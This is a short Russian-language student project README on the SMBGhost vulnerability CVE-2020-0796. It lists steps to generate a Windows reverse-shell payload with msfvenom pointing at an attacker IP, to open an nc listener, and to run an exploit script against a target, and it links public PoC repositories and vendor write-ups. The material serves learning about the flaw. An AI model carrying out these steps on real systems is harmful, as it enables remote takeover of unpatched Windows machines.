CVE-2020-0796

Объяснение и исследование уязвимости CVE-2020-0796 для семестрового проекта CENG325 для начинающих

Как эксплуатировать?

Генерация полезной нагрузки для обратной оболочки:

msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=5555 -f python

Порт прослушивания:

nc -lvnp 5555

Запуск эксплойта:

python3 exploit.py -ip TARGET_IP

PoC Репозитории

• https://github.com/chompie1337/SMBGhost_RCE_PoC
• https://github.com/ollypwn/SMBGhost

Ссылки

1. CVE-2020-0796: «Червеобразная» уязвимость удаленного выполнения кода в… (2020, 13 марта). Tenable®. https://www.tenable.com/blog/cve-2020-0796-wormable-remote-code-execution-vulnerability-in-microsoft-server-message-block
2. «I’ll ask your body»: SMBGhost pre-auth RCE с использованием структур Direct Memory Access. (2020, 20 апреля). Ricercasecurtiy.Blogspot.https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
3. CVE-2020-0796 Уязвимость повреждения памяти в SMB-сервере Windows 10 | FortiGuard Labs. (2020, 12 марта). Fortinet Blog.